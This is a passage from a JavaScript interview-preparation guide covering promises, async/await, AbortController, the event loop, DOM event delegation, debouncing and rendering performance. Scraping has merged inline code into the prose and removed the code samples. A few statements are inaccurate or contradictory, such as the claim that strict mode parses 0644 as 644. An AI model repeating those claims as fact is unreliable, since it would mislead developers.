renderString vs renderEmbed) moved both call sites back to monomorphic and reportedly cut frame time for heavy channels significantly.Follow-up Q&A Chain:- Q: Why does V8 have both Sparkplug and TurboFan?
- A: Sparkplug is a baseline compiler that’s fast to produce and predictable. It covers the “warming up” window so code isn’t stuck in the bytecode interpreter while TurboFan slowly optimizes a hot function.
- Q: How is JS JIT different from the JVM’s HotSpot?
- A: Similar idea — tiered compilation with type feedback. Key difference: JVM can rely on static types from bytecode. V8 must infer types from observations, so it’s more eager to deopt when assumptions break.
- Q: Can I force V8 to re-optimize a function after I fixed a deopt?
- A: There’s no public API. The engine re-decides after the function hits the hotness threshold again. In practice, restructure the code so the problematic call site doesn’t exist — don’t try to trick the heuristic.
- V8 blog: Launching Ignition and TurboFan
- V8 blog: Sparkplug — a non-optimizing JS compiler
- Mathias Bynens: V8 internals for JS developers
9. Strict Mode (`'use strict'`)
9. Strict Mode (`'use strict'`)
- Prevents accidental globals —
x = 5withoutlet/const/varthrowsReferenceErrorinstead of silently creatingwindow.x. In a 200-file codebase, this one rule alone has prevented countless bugs. thisdefaults toundefined— In sloppy mode, a standalone function call setsthistowindow. Strict mode makes itundefined. This exposesthis-binding bugs that would otherwise silently produce wrong results.- Disables
withstatement —withmakes scope resolution ambiguous (the engine cannot tell at parse time which variables are local vs from thewithobject). Banning it lets V8 optimize better. - Throws on read-only property assignment —
Object.freeze(obj); obj.x = 5silently fails in sloppy mode, throwsTypeErrorin strict mode. - No duplicate parameter names —
function f(a, a)is valid in sloppy mode (the secondashadows the first). Strict mode throwsSyntaxError. deleteon non-configurable property throws — Instead of silently returningfalse.- Octal literals are banned —
0644is parsed as 644 in strict mode (or throws depending on context). Use0o644instead.
with, without arguments aliasing, and with guaranteed this behavior, TurboFan can optimize more aggressively.When you are already in strict mode without knowing it:- ES modules (
import/export) are always strict - Class bodies are always strict
- Arrow functions inside strict context inherit strictness
this behavior change), or do you just say “it makes JavaScript stricter”?Red flag answer: “I always add 'use strict' to every file.” If you are using ES modules (which you should be), every module is already strict. Adding the directive is redundant and shows you do not understand the module system.Follow-up questions:- “Can strict and sloppy mode code interact in the same application?” — Yes, and this is common in real codebases. Each function has its own strict mode flag. A strict function can call a sloppy function and vice versa. Problems arise when sloppy library code sets
thistowindowand your strict code expectsundefined. This is why wrapping third-party callbacks in your own strict wrapper is good practice. - “Does strict mode affect performance?” — Yes, positively. V8’s parser marks strict functions, allowing TurboFan to skip certain checks (no
withresolution, noargumentsaliasing, no implicit global creation). Benchmarks show 5-15% improvement in some cases, though modern engines have closed most gaps. - “What is the
argumentsobject behavior difference in strict mode?” — In sloppy mode,argumentsaliases named parameters: changingarguments[0]changes the first named param and vice versa. Strict mode breaks this aliasing —argumentsis a snapshot, not a live mirror. This is why rest parameters (...args) are preferred: they have no aliasing in either mode.
.mjs files and "type": "module" packages, a wave of npm modules suddenly surfaced latent bugs where test helpers had been silently creating globals. The code had worked in CommonJS (sloppy by default) but threw ReferenceErrors under the newly-strict ESM context.Follow-up Q&A Chain:- Q: Does
'use strict'inside an ES module do anything? - A: Nothing functional — modules are already strict. It’s dead code that signals either a habit or a file that was copied from a non-module context.
- Q: Can strict mode be enabled per-function?
- A: Yes:
function foo() { 'use strict'; ... }makes just that function strict, even in a sloppy file. Used historically to opt into strict behavior gradually. - Q: What’s a bug strict mode can’t catch?
- A: Logical mistakes — wrong comparisons, off-by-one errors, incorrect promise chaining. Strict mode only addresses the “silent fail” class of errors around variables,
this, and property writes.
- MDN: Strict mode
- ECMAScript Spec: Strict Mode Code
- Node.js docs: ECMAScript modules
10. WeakMap vs Map
10. WeakMap vs Map
Map holds strong references to its keys (preventing garbage collection), while WeakMap holds weak references (allowing GC when no other references exist). This makes WeakMap ideal for metadata you want to associate with objects without causing memory leaks.| Feature | Map | WeakMap |
|---|---|---|
| Keys | Any type (primitives, objects) | Objects and Symbols only |
| GC behavior | Prevents GC of keys | Allows GC — if no other ref to key, entry is removed |
| Iteration | Iterable (forEach, for...of, .keys(), .values()) | Not iterable (by design — entries can disappear at any time) |
.size | Yes | No (cannot know size — entries may be GC’d) |
| Use cases | Caches, dictionaries, counting, any general mapping | DOM node metadata, private data, object-associated state |
- Need to iterate entries? Use
Map. - Keys are primitives (strings, numbers)? Must use
Map. - Associating data with objects you do not own? Use
WeakMap(no leak risk). - Building a cache that should shrink when objects are GC’d? Use
WeakMap. - Need
.sizeor deterministic behavior? UseMap.
- “You mentioned WeakMap for caching. How does it compare to an LRU cache?” — WeakMap eviction is non-deterministic — you cannot control when GC runs. An LRU cache (like
lru-cachenpm) gives you deterministic eviction based on size/age. Use WeakMap when the cache should be tied to object lifetimes (e.g., computed properties of DOM nodes). Use LRU when you need bounded memory with predictable eviction (e.g., API response cache with a 1000-entry limit). - “Why were Symbols added as valid WeakMap keys in ES2023?” — To support the Records & Tuples proposal and to allow weak associations without creating wrapper objects. Before this change, if you wanted a weak key, you had to create an object just to serve as the key. Now
Symbol()works — it is unique, unforgeable, and garbage-collectable (only “registered” symbols fromSymbol.for()are NOT valid weak keys because they are globally reachable). - “What is WeakSet and when would you use it over WeakMap?” —
WeakSetis likeSetbut with weak references to its values (which must be objects). Use it when you only need to track “has this object been seen?” without associated data. Classic use case: tracking which DOM nodes have been initialized by a library, or which objects have been validated.brokenLinks.has(element)is cheaper and more semantic thanbrokenLinks.get(element) === true.
WeakMap. Because the nodes get removed and re-created rapidly during route changes, using a regular Map previously caused the metadata store to grow unbounded. Switching to WeakMap made cleanup automatic — when a node was detached and dropped by React, its entry vanished too.Follow-up Q&A Chain:- Q: Can I iterate a
WeakMapfor debugging? - A: Not directly, by design. For debugging only, Chrome DevTools can show
WeakMapcontents viaqueryObjects()in the console, but production code must track keys separately if iteration is required. - Q: What happens if I use a primitive as a
WeakMapkey? - A: Pre-ES2023 you get a
TypeError. ES2023 allows Symbols as weak keys too, but not registered symbols fromSymbol.for()(those are globally reachable and can never be collected). - Q: Is WeakMap lookup as fast as Map lookup?
- A: Close, but slightly slower on average due to additional GC bookkeeping. In 99% of real apps the difference is invisible; pick based on semantics, not micro-benchmarks.
- MDN: WeakMap
- ECMAScript Spec: WeakMap objects
- V8 blog: Fast WeakMaps
2. Async Patterns
11. Promise Internals (Polyfill)
11. Promise Internals (Polyfill)
.then() method is an implementation of the Observer pattern — you register callbacks that fire when the state transitions.The critical detail most people miss: Promise callbacks are always asynchronous, even if the promise is already settled. Promise.resolve(42).then(fn) does NOT call fn synchronously. It schedules fn on the microtask queue. This guarantees consistent ordering — you never have to wonder “did this run sync or async?”A real polyfill (simplified but correct in spirit):.then()must return a new promise (enables chaining)- If
onFulfillreturns a promise, the outer promise “adopts” its state (resolution unwrapping) - Callbacks must execute asynchronously (microtask scheduling)
- A promise can only be settled once — subsequent resolve/reject calls are ignored
.then() calls the callback synchronously when the promise is already resolved. This violates the spec and creates unpredictable ordering bugs.Follow-up questions:- “What happens if you return a promise from inside a
.then()callback?” — The outer promise waits for the inner promise to settle before resolving. This is called “resolution unwrapping” or “thenable assimilation.” The spec says: ifonFulfillreturns a value with a.thenmethod (a “thenable”), call.thenon it and adopt its eventual state. This is howfetch(url).then(r => r.json()).then(data => ...)works —r.json()returns a promise, and the chain waits for it. - “Why do unhandled promise rejections crash Node.js?” — Since Node 15, unhandled rejections cause the process to exit with code 1 by default. This is because silent rejections hide bugs — a rejected promise with no
.catch()means an error was swallowed. You can listen forprocess.on('unhandledRejection')to handle them globally. In browsers, you get a console warning but no crash. Always add.catch()or use try/catch with async/await. - “Explain the difference between
queueMicrotask(),Promise.resolve().then(), andsetTimeout()for scheduling.” —queueMicrotask()directly adds to the microtask queue (cleanest API, no promise overhead).Promise.resolve().then()does the same but creates a promise object first (slight allocation overhead).setTimeout(fn, 0)adds to the macrotask queue — it runs AFTER all microtasks and the next render. UsequeueMicrotaskfor async-but-ASAP work,setTimeoutwhen you intentionally want to yield to the browser for rendering.
.then method, which Promise treats as if it were a Promise. Fetch-polyfills, jQuery deferreds, and many old libraries are thenables.await loader.load(id) without triggering an extra microtask hop. The thenable protocol makes the wrapper interoperable with any async/await code without materializing a full Promise object per load.Follow-up Q&A Chain:- Q: What happens if you call
resolve()twice on a promise? - A: The second call is ignored silently. A promise transitions state exactly once — subsequent resolves and rejects no-op.
- Q: Is there a way to cancel a Promise?
- A: No — Promises have no cancel semantics by design. Cancellation is implemented externally via
AbortController/AbortSignal, which your operation has to honor. - Q: Why don’t unhandled rejections crash the browser like Node does?
- A: Browsers surface them via
unhandledrejectionevents and console warnings, but killing the tab would be catastrophic for UX. Node processes are typically short-lived and server-side, so failing fast is the right tradeoff.
- MDN: Promise
- Promises/A+ spec: Standard
- ECMAScript Spec: Promise Objects
12. Async/Await (Generator + Promise)
12. Async/Await (Generator + Promise)
async function is a function that always returns a Promise, and await pauses execution of that function (not the thread) until the awaited promise settles.How it actually works (the generator connection): Before async/await existed, developers used generators + a runner (like co) to achieve the same thing. The generator yielded a promise, the runner waited for it, then resumed the generator with the resolved value. async/await bakes this pattern into the language.async actually returns and how await suspends execution without blocking the thread? Senior candidates should discuss error handling strategies and when NOT to use async/await (e.g., streams, event emitters).Red flag answer: “Async/await replaces promises.” No — async/await IS promises. Every async function returns a promise. await unwraps a promise. You need to understand promises to debug async/await code.Follow-up questions:- “What happens if you forget
awaiton a promise?” — The function continues executing with the promise object instead of the resolved value.if (fetchUser(id))is always truthy because a Promise object is truthy, even if it will reject. This is a common source of bugs — you get[object Promise]in string concatenations ortruein conditionals. ESLint’sno-floating-promises(via typescript-eslint) catches this. - “Can you use
awaitat the top level of a file?” — Only in ES modules (not CommonJS). Top-level await pauses the module’s evaluation until the promise settles. This means any module that imports a module with top-level await will also wait. Use it for initialization (reading config, connecting to DB) but be aware it blocks the entire module graph — do not await long operations at the top level. - “How does async/await interact with the event loop differently than raw promises?” — They produce the same microtask behavior. However, each
awaitintroduces a microtask checkpoint.await x; await y; await z;runs through 3 microtask cycles. A raw chain.then(x).then(y).then(z)also runs through 3 microtask cycles. The performance is identical. The difference is purely ergonomic — async/await is easier to read and debug (stack traces preserve the async call chain in modern engines).
- “Async/await replaces promises.” It IS promises — every
asyncfunction returns a promise. - Write sequential
awaitcalls when the operations are independent (the 650ms vs 300ms mistake). - Do not handle errors in async code or use bare
.catch()with no error handling logic. - Think
awaitpauses the entire program, not just the async function.
- Immediately identify the sequential vs parallel pitfall and default to
Promise.allfor independent operations. - Explain the generator connection:
awaitis syntactic sugar foryielding a promise to an internal runner. - Know that
for await...ofexists for async iterables and explain when it is appropriate (streaming responses, reading from async generators). - Discuss the Go-style
[data, err]tuple pattern as an alternative to try/catch nesting for cleaner error handling. - Mention
Promise.withResolvers()(ES2024) for cases where you need to resolve/reject a promise from outside its executor.
- “You mentioned
Promise.allfor parallel operations. What happens to the other promises if one rejects?” — The rejected promise’s error is returned immediately, but the OTHER promises keep running to completion in the background. They are NOT cancelled. If you need true cancellation, pass anAbortSignalto each operation and abort on first failure. - “How would you implement a
Promise.allwith a concurrency limit — say, at most 3 concurrent requests out of 100?” — Maintain a pool of N active promises. When one resolves, start the next from the queue. Libraries likep-limitorp-queuedo this. A simple implementation:const limit = pLimit(3); const results = await Promise.all(urls.map(url => limit(() => fetch(url)))). - “What is
Promise.withResolvers()and when would you use it?” — ES2024 addition. Returns{ promise, resolve, reject }so you can resolve a promise from outside its executor. Useful when integrating callback-based APIs or event emitters:const { promise, resolve } = Promise.withResolvers(); emitter.once('data', resolve); const data = await promise;. Before this, you had to use the “deferred” pattern with variables declared outside the executor.
async functions are. Helpful when comparing to Python’s async def or C#‘s async/await.await getUser(), then await getPreferences(), then await getLocale() sequentially — about 900ms total. Moving those three independent fetches into Promise.all cut p50 to roughly 350ms and was the single biggest latency win in that endpoint’s history.Follow-up Q&A Chain:- Q: Does
awaityield to other JS code, or does it block? - A: It yields — the function suspends and returns control to the event loop. Other tasks and microtasks can run. The function resumes on a microtask after its awaited promise settles.
- Q: What’s the catch with top-level await?
- A: Consumers of your module now wait on your top-level promise before their own initialization code runs. A slow top-level await can cascade across the dependency graph.
- Q: Why might
for await...ofbe preferable toPromise.allfor a stream of items? - A:
Promise.allmaterializes everything into memory and starts all operations at once.for await...ofprocesses one value at a time as they arrive — better for backpressure, memory, and partial-result scenarios.
- MDN: async function
- MDN: await
- V8 blog: Faster async functions and promises
13. `Promise.all` vs `allSettled` vs `race` vs `any`
13. `Promise.all` vs `allSettled` vs `race` vs `any`
| Combinator | Behavior | Settles when | Returns |
|---|---|---|---|
Promise.all | Fail-fast | ALL fulfill OR first reject | Array of values OR first rejection reason |
Promise.allSettled | Wait for everything | ALL settle (fulfill or reject) | Array of {status, value/reason} objects |
Promise.race | First to settle wins | First promise settles (either way) | Value/reason of first settled promise |
Promise.any | First success wins | First fulfill OR all reject | Value of first fulfillment OR AggregateError |
Promise.all gotcha: If one promise rejects, the other promises keep running — they are NOT cancelled. The rejected result is returned immediately, but background work continues consuming resources. This is why AbortController matters.What interviewers are really testing: Can you pick the right combinator for a given scenario? Do you understand the fail-fast vs wait-for-all tradeoff? Senior candidates should mention that losing promises in race are not cancelled and explain when allSettled is strictly better than wrapping all in try/catch.Red flag answer: “I just use Promise.all for everything and wrap it in try/catch.” This swallows partial successes. If 2 out of 3 notifications succeed, you want to know that — allSettled is the correct choice.Follow-up questions:- “How would you implement
Promise.allfrom scratch?” — Create a new Promise. Track a counter and results array. For each input promise,.then()stores the result at the correct index and increments the counter. When the counter equals the input length, resolve with the results array. On any rejection, reject immediately. Edge case: if the input array is empty, resolve immediately with[]. - “What is
AggregateErrorand when do you encounter it?” —AggregateErroris thrown byPromise.anywhen ALL promises reject. It has anerrorsproperty (array of all rejection reasons). It is also used by some validation libraries. Before ES2021, there was no standard way to represent multiple errors. - “Can you cancel the losing promises in
Promise.race?” — Not with promises alone. UseAbortController: pass a signal to all fetch calls, and when the race resolves, callcontroller.abort()to cancel the remaining ones. This is the proper pattern for timeouts and redundant requests.
Promise.all is fail-fast; Promise.allSettled is not. Name the term when defending a choice between them.errors array of multiple underlying causes. Promise.any throws it when every input rejects.Promise.any-style pattern: the fastest backend to return a non-empty list wins, the rest are aborted via AbortController. Before this, the UI waited for the slowest backend (the 99th percentile pulled suggestion latency above 400ms). Switching from Promise.all to a first-success strategy moved p99 suggestion latency back under the 200ms interaction budget.Follow-up Q&A Chain:- Q: If I wrap
Promise.allin try/catch, why isPromise.allSettledstill better for fan-out notifications? - A:
allthrows on the first rejection and you lose visibility into which of the remaining ones succeeded.allSettledreturns a per-promise status array so you can log “2 of 3 channels delivered” and retry only the failed ones. - Q: When would
Promise.racebite you in production? - A: If a losing promise holds a resource (open socket, DB transaction),
raceresolving does not free it. You needAbortControllerwired to cancel, or the losers will finish in the background and may commit stale writes. - Q: Why is
Promise.anyuseful for CDN fallback? - A: You can kick off fetches to three mirrors simultaneously and take the first successful response. Unlike
race, a 500 from the fastest mirror does not poison the result —anykeeps waiting for a success.
- MDN: Promise.all
- MDN: Promise.allSettled
- MDN: Promise.any
- TC39: Promise Combinators specification (tc39.es/ecma262)
14. AbortController (Cancelling Fetch)
14. AbortController (Cancelling Fetch)
AbortController is the standard Web API for cancelling async operations. It solves a fundamental problem: Promises have no built-in cancellation mechanism. Once a promise is created, it will settle eventually — you cannot stop it. AbortController provides a signaling mechanism that cooperative APIs (like fetch) respect.How it works internally: AbortController has a signal property (an AbortSignal object). When you call controller.abort(), the signal fires an abort event and its aborted property becomes true. APIs that accept a signal check this property and abort their operation.addEventListener(pass signal option — listener auto-removes on abort)ReadableStream.pipeTo()- Node.js
fsoperations,child_process,timers/promises - Any custom async API you build (check
signal.abortedor listen forabortevent)
AbortSignal.timeout() and AbortSignal.any().Red flag answer: “I just ignore cancelled requests” without actually cancelling them. Ignoring the result is not cancelling the request — the server still processes it, the network still transfers bytes. True cancellation via AbortController saves bandwidth and server resources.Follow-up questions:- “How would you implement request cancellation without AbortController (e.g., in older environments)?” — Use a “cancelled” flag: set a boolean before making the request, check it in the
.then()handler. If cancelled, discard the result. ForXMLHttpRequest, callxhr.abort(). This is the pre-AbortController pattern and it is still common in legacy codebases. - “What happens to the server-side when you abort a fetch?” — The browser closes the TCP connection. Whether the server notices depends on the framework — Express/Koa emit a
closeevent on the request object. If the server has already started expensive processing, it may continue unless it checks for client disconnection. For long operations, implement server-side cancellation tokens. - “How does AbortController interact with
Promise.racefor implementing timeouts?” — The cleanest modern pattern isAbortSignal.timeout(ms)which handles both the timing and the abort signal in one API. Before that, you wouldPromise.race([fetch(url, {signal}), timeout])and callcontroller.abort()when the timeout wins. The abort actually cancels the fetch instead of just ignoring it.
AbortController works — fetch cooperates by checking signal.aborted. Contrast with “preemptive cancellation” (Java Thread.stop()), which is unsafe and generally unavailable in JS.AbortController that aborts on each new keystroke made the latest response always win, eliminated a flickering-result bug, and cut server load by roughly 80% on the search endpoint.Follow-up Q&A Chain:- Q: Does calling
.abort()actually stop the server from processing the request? - A: Only if the server is watching for a client disconnect. The browser closes the TCP connection; frameworks like Express emit a
closeevent on the request. Long-running handlers that do not check this will keep running. - Q: How do you combine a manual cancel button with a 10-second timeout?
- A:
AbortSignal.any([controller.signal, AbortSignal.timeout(10_000)]). Aborting either source aborts the request. - Q: Can
addEventListenerbe cleaned up with an AbortSignal? - A: Yes —
el.addEventListener('click', fn, { signal: controller.signal }). Callingabort()removes the listener. This replaces a lot of manualremoveEventListenerbookkeeping.
- MDN: AbortController
- MDN: AbortSignal.timeout
- WHATWG DOM Standard: AbortController and AbortSignal
15. Microtask vs Macrotask Queue (Quiz)
15. Microtask vs Macrotask Queue (Quiz)
1, 4, 3, 2Step-by-step execution:console.log(1)— synchronous, runs immediately. Output: 1setTimeout(cb, 0)— registers callback in the macrotask queue. Does NOT run now.Promise.resolve().then(cb)— promise is already resolved, so callback goes to the microtask queue. Does NOT run now.console.log(4)— synchronous, runs immediately. Output: 4- Call stack is now empty. Event loop checks microtask queue first.
- Microtask:
console.log(3)runs. Output: 3 - Microtask queue is empty. Event loop picks one macrotask.
- Macrotask:
console.log(2)runs. Output: 2
.then() callback is asynchronous. Many candidates get C wrong.What interviewers are really testing: Can you trace through mixed sync/async code and predict the exact output order? Do you know that microtasks drain completely (including newly added ones) before any macrotask runs?Red flag answer: Getting the basic order wrong. Also: saying setTimeout(fn, 0) runs “immediately” or “with no delay” — it has a minimum delay of ~4ms in browsers due to spec clamping after 5 nested calls.Follow-up questions:- “What if a
.then()callback throws? Where does the error go?” — The returned promise rejects. If there is no.catch()downstream, it becomes an unhandled rejection. In Node.js, this crashes the process (since Node 15). In browsers, you get a console warning and aunhandledrejectionevent. The error does NOT propagate to the macrotask or the global error handler — it stays in the promise chain. - “What is the minimum delay for
setTimeout(fn, 0)and why?” — The HTML spec says: after 5 nestedsetTimeoutcalls, the browser clamps the delay to a minimum of 4ms. In inactive/background tabs, browsers clamp to 1000ms or more to save battery.setImmediate(IE/Node) orMessageChannelcan bypass the 4ms minimum in some environments. - “If you schedule 10,000 microtasks, what happens to the UI?” — The browser cannot render until the microtask queue is fully drained. 10,000 microtasks could take 10-50ms depending on complexity, causing a visible frame drop (missed 60fps deadline). This is microtask starvation — macrotasks and rendering are blocked. If you need to do 10,000 small tasks without blocking rendering, batch them with
requestAnimationFrameorrequestIdleCallbackorsetTimeout(fn, 0)between batches.
Promise.then always runs before the next setTimeout.useSelector read. Under heavy Redux updates (order book ticks), the microtask queue never emptied — the browser refused to paint, and the tab appeared frozen for 2-3 seconds at a time. The fix was a single queueMicrotask(() => ...) replaced with requestAnimationFrame, and the UI went from unusable to smooth 60fps.Follow-up Q&A Chain:- Q: What runs first: a resolved Promise’s
.thenor aqueueMicrotaskcallback scheduled later? - A: Both live in the same microtask queue, so FIFO order wins. The
.thencallback was scheduled first, so it runs first. - Q: Can you starve rendering with microtasks? Give me the recipe.
- A:
function loop() { Promise.resolve().then(loop); }— each microtask schedules another, the queue never empties, the browser cannot paint or run macrotasks. The tab appears frozen. - Q: Where does
queueMicrotasksit versussetTimeout(fn, 0)? - A:
queueMicrotaskruns in the current microtask checkpoint before any macrotask.setTimeout(fn, 0)runs as the next macrotask — after the microtask queue drains and potentially after a render.
- MDN: Using microtasks in JavaScript with queueMicrotask()
- HTML Living Standard: Event loop processing model
- Jake Archibald: “In the Loop” (JSConf Asia talk)
3. DOM & Browser APIs
16. Bubbling vs Capturing (Event Delegation)
16. Bubbling vs Capturing (Event Delegation)
- Capture Phase — The event travels DOWN from
window->document->html->body-> … -> parent of target. Listeners registered with{ capture: true }fire here. - Target Phase — The event reaches the actual element that was clicked/interacted with. Both capture and bubble listeners on the target fire in registration order.
- Bubble Phase — The event travels BACK UP from target -> parent -> … ->
body->html->document->window. This is the default — listeners withoutcapture: truefire here.
e.target:stopPropagation vs stopImmediatePropagation vs preventDefault:stopPropagation()— Stops the event from continuing to the next element in the phase. Other listeners on the SAME element still fire.stopImmediatePropagation()— Stops the event AND prevents other listeners on the same element from firing.preventDefault()— Prevents the browser’s default action (form submit, link navigation) but does NOT stop propagation. These are orthogonal.
closest() for delegation with nested elements? Senior candidates should explain when to use capture phase (e.g., intercepting events before they reach children).Red flag answer: “I use stopPropagation() everywhere to prevent bugs.” Overusing it breaks event delegation, analytics tracking, and any ancestor component that needs to know about the event. It is a code smell in React apps.Follow-up questions:- “When would you use the capture phase instead of the bubble phase?” — When you need to intercept an event BEFORE it reaches a child element. Example: a modal overlay that should capture all clicks before any button inside it processes them. Also useful for focus management —
focusin/focusoutbubble butfocus/blurdo not, so capturing is needed forfocus/blurdelegation. - “How does React’s event system relate to native DOM events?” — React uses a synthetic event system with delegation at the root. Since React 17, events are delegated to the root DOM node (not
document). React normalizes events across browsers and pools event objects for performance (though pooling was removed in React 17).e.nativeEventgives you the original DOM event. - “What is the performance difference between 1000 individual listeners vs 1 delegated listener?” — Each
addEventListenerallocates a listener object and often a closure. 1000 listeners can use 100KB+ of memory and slow down GC. Delegation uses ~100 bytes. The bigger cost is in setup/teardown time — important for dynamic lists (virtual scrolling, infinite scroll) where elements are frequently added/removed.
e.target to identify the actual source. The canonical performance pattern for large, dynamic lists.SyntheticEvent) that wraps the native event and smooths cross-browser differences. React 17+ delegates to the root DOM node, not document.- Q: Why do
focusandblurneed special handling for delegation? - A: They do not bubble. You must either use the capture phase or switch to
focusin/focusout, which do bubble and were added specifically for delegation. - Q:
e.targetvse.currentTarget— when are they different? - A:
e.targetis the element that originated the event.e.currentTargetis the element the listener is attached to. In delegation, they differ on bubble: target is the clicked item, currentTarget is the container. - Q: Why is calling
stopPropagationon every handler a code smell? - A: It silently breaks any ancestor that relies on the event bubbling up — analytics, router links, modal close handlers. It is a blunt instrument that hides coupling between components.
- MDN: Event bubbling and capturing
- MDN: EventTarget.addEventListener() options
- React docs: SyntheticEvent
17. Debounce vs Throttle
17. Debounce vs Throttle
- The function only fires after X ms of no new calls
- Every new call resets the timer
- Use case: Search-as-you-type (fire API call only after user stops typing for 300ms), window resize handlers, auto-save
- The function fires immediately, then ignores calls for X ms
- Guarantees execution at regular intervals during continuous action
- Use case: Scroll position tracking, resize-based layout recalculations, rate-limiting API calls, drag events
- Leading debounce: fires on the first call, then waits for silence. Good for button clicks (immediate response, ignore double-clicks).
- Trailing debounce (default): fires after silence. Good for search input.
- Leading throttle (default): fires immediately, then throttles. Good for scroll.
- Trailing throttle: also fires the last call after the throttle period. Important for getting the final scroll position.
_.debounce has leading, trailing, and maxWait options that combine both patterns.Follow-up questions:- “Your debounced search fires after 300ms of silence, but users on slow connections see a spinner for 800ms total. How do you improve perceived performance?” — Use “optimistic debounce”: show cached results immediately from a local index, then update when the API responds. Or reduce debounce to 150ms and add a loading skeleton. Another approach: debounce with
maxWait(lodash) — fire at most every 1s even during continuous typing, so users see partial results. - “How would you implement a debounce that handles async functions and returns the promise?” — Return a promise from the debounced wrapper and resolve/reject it when the actual function runs. Track the latest promise so callers can await:
const result = await debouncedSearch(query). Cancel pending promises when a new call comes in by rejecting with a customCancelledError. - “What is
requestAnimationFramethrottling and when is it better thansetTimeout-based throttling?” — rAF-based throttling fires once per frame (~16.6ms at 60fps). It is ideal for visual updates (scroll-driven animations, parallax) because it syncs with the browser’s paint cycle.setTimeout-based throttling can fire between frames, causing wasted work or jank. Pattern:let ticking = false; onScroll(() => { if (!ticking) { requestAnimationFrame(() => { update(); ticking = false; }); ticking = true; } }).
maxWait, power users typing continuously for 30 seconds lost their draft if the tab crashed — no save had ever fired. Adding maxWait: 5000 guaranteed a save every five seconds even during uninterrupted typing, which bounded the worst-case data loss.Follow-up Q&A Chain:- Q: I debounced my scroll handler at 200ms and now the UI feels laggy. What went wrong?
- A: Debounce was the wrong tool — you want throttle. Debounce means “run once the user stops scrolling,” which by definition misses every intermediate position. Throttle (or rAF-throttle) runs regularly during the scroll.
- Q: How do you unit-test a debounced function?
- A: Use fake timers (
jest.useFakeTimers()orvi.useFakeTimers()). Call the debounced fn, advance time withjest.advanceTimersByTime(delay), then assert the inner fn was called. - Q: Why does lodash expose a
maxWaitoption? - A: Pure debounce can delay forever under sustained input.
maxWaitforces a call every N ms regardless, bounding worst-case latency — important for autosave and analytics.
- MDN: window.requestAnimationFrame
- Lodash docs: _.debounce and _.throttle
- CSS-Tricks: “Debouncing and Throttling Explained Through Examples”
18. Critical Rendering Path
18. Critical Rendering Path
- HTML parsing -> DOM Tree — The parser reads HTML bytes, converts to tokens, builds the DOM tree. This is incremental — the browser starts building the DOM before the full HTML arrives.
- CSS parsing -> CSSOM Tree — CSS files are parsed into the CSS Object Model. CSS is render-blocking — the browser will NOT paint anything until all CSS is parsed (to avoid a flash of unstyled content).
- DOM + CSSOM -> Render Tree — Combines both trees but ONLY includes visible elements.
display: noneelements are excluded.visibility: hiddenelements ARE included (they take up space). - Layout (Reflow) — Calculates the exact position and size of every element in pixels. This is expensive — changing one element’s width can cascade to reflow its parent, siblings, and children.
- Paint — Fills in pixels: text, colors, images, borders, shadows. Produces paint records (instructions for drawing).
- Composite — The browser assembles painted layers in the correct order using the GPU. Elements with
transform,opacity, orwill-changeget their own compositor layer.
<script>(no attributes) — Parser-blocking. HTML parsing stops, script downloads and executes, then parsing resumes.<script defer>— Downloads in parallel, executes AFTER HTML is fully parsed, BEFOREDOMContentLoaded. Execution order is preserved.<script async>— Downloads in parallel, executes as soon as downloaded (pausing parser). Order is NOT guaranteed.<script type="module">— Behaves likedeferby default.
- Reading
offsetHeight,offsetWidth,getBoundingClientRect()after writing styles - Changing
width,height,margin,padding,font-size - Adding/removing DOM elements
- Changing
displayproperty
color, background-color, visibility, box-shadow.What only triggers composite (cheapest): Changing transform, opacity. These are GPU-accelerated and skip layout and paint entirely.What interviewers are really testing: Do you understand the cost hierarchy (layout > paint > composite)? Can you optimize a slow page by identifying CRP bottlenecks? Senior candidates should know which CSS properties trigger which pipeline stages.Red flag answer: “Just minimize CSS and JavaScript.” That is too vague. Specific optimizations: inline critical CSS, defer scripts, use transform instead of top/left for animations, avoid layout thrashing.Follow-up questions:- “How would you reduce Time to First Paint on a page with 500KB of CSS?” — Extract critical CSS (above-the-fold styles, ~14KB) and inline it in
<head>. Load the rest asynchronously with<link rel="preload" as="style" onload="this.rel='stylesheet'">. Tools: Critical (npm), PurgeCSS to remove unused CSS. Target: critical CSS should fit in the first TCP round-trip (~14KB compressed). - “Why are
transformanimations faster thantop/leftanimations?” —top/leftchanges trigger layout recalculation (reflow) on every frame — the browser must recalculate geometry for the element and potentially its neighbors.transformskips layout and paint entirely — the GPU composites the pre-painted layer at a new position. This is the difference between 5ms/frame (janky) and 0.1ms/frame (smooth 60fps). - “What is layout thrashing and how do you fix it?” — Layout thrashing happens when you interleave DOM reads and writes in a loop. Each read after a write forces a synchronous reflow. Fix: batch all reads first, then all writes. Or use
requestAnimationFrameto defer writes to the next frame. Libraries likefastdomenforce read/write batching automatically.
transform, opacity, and will-change promote an element to its own layer — the reason those animations run at 60fps.- Q: Why is
transform: translateX(100px)smooth whileleft: 100pxjanks? - A:
leftruns through layout -> paint -> composite every frame.transformskips layout and paint entirely — the GPU just translates an existing texture. At 60fps you have 16.6ms per frame; layout alone can consume that budget on complex pages. - Q: What does
will-changeactually do? - A: It hints the browser to promote an element to its own compositor layer ahead of time. Useful for animations, but overuse blows up GPU memory — promote only what you will animate, and remove the hint afterwards.
- Q: Where does JS parsing fit in the CRP?
- A: Parser-blocking sync scripts halt HTML parsing, so the DOM stops growing until the script downloads and executes.
deferlets parsing continue and runs the script after DOMContentLoaded.asynclets parsing continue but pauses it when the script arrives, in arbitrary order.
- web.dev: Critical rendering path
- web.dev: Core Web Vitals
- MDN: CSS containment
19. Efficient DOM Manipulation (DocumentFragment)
19. Efficient DOM Manipulation (DocumentFragment)
requestAnimationFrame batching:react-window, tanstack-virtual, @angular/cdk/scrolling.What interviewers are really testing: Do you understand that DOM manipulation cost is about triggering reflows, not the JS overhead? Do you know multiple strategies and when to use each?Red flag answer: “I use React so I don’t need to worry about DOM manipulation.” React’s virtual DOM batches updates, but it still needs to apply them to the real DOM. Understanding why batching matters helps you write better React code (e.g., understanding why ReactDOM.flushSync exists).Follow-up questions:- “When is
innerHTMLfaster thanDocumentFragment, and what is the security risk?” —innerHTMLis faster for bulk inserts because the browser’s HTML parser is highly optimized C++ code, faster than JS-drivencreateElementloops. The risk: if any part of the HTML string comes from user input, you have an XSS vulnerability. Always sanitize with DOMPurify or usetextContentfor user-generated text. - “How does React’s reconciliation avoid excessive DOM mutations?” — React diffs the virtual DOM (a JS object tree) against the previous version, computing the minimal set of DOM operations needed. It batches these mutations and applies them in one synchronous flush. Keys help the diffing algorithm identify which list items moved vs were added/removed, avoiding unnecessary destroy-and-recreate cycles.
- “What is
